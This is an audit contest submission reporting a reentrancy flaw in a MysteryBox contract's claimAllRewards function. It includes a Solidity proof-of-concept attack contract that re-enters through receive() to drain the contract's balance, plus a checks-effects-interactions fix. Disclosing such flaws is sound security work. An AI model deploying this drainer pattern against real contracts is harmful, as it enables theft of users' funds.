Submission Details
Severity:
[H-2] claimAllRewards exposes the protocol to Re-entrancy
**Description: **claimAllRewardswhich allows users to claim all their rewards opens the protocol to reentrancy
The malicious user creates a contract and buys a box using the smart contarct, as shown in the POC below
The malicious contract uses
recieve()to keep reentering the protocol until it drains the protocol
Tool Used: Remix IDE
Impact: High
**Proof of Concept: **
// SPDX-License-Identifier: GPL-3.0
import {MysteryBox} from "./MysteryBox.sol";
import "hardhat/console.sol";
contract MysteryBoxAttack1{
MysteryBox public box;
uint256 public constant boxPrice = 0.1 ether;
constructor(){
box = MysteryBox(0x5FbDB2315678afecb367f032d93F642f64180aa3);
}
function buyBox() public payable{
require(msg.value == boxPrice, "Incorrect ETH Amount sent");
box.buyBox{value:0.1 ether}();
console.log(address(this), ": Bought a mystery box ");
}
function openBox() public {
box.openBox();
//Assume the contract opens a bought that is not Coal
console.log(address(this), ": Opened a mystery box ");
}
event ReceivedEth(uint256 amount);
function fundme() public payable {
emit ReceivedEth(msg.value);
}
//Given that the user opens any box (Gold Coin, Silver Coin, Bronze Coin)
function claimFunds() public{
//where the attack starts
box.claimAllRewards();
}
receive() external payable{
fundme();
console.log('attack started');
if (address(box).balance>0){
box.claimAllRewards();
}
}
}
Recommended Mitigation:
claimAllRewardsshould follow CEI
function claimAllRewards() public {
//@audit Should follow CEI - Reentrancy
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.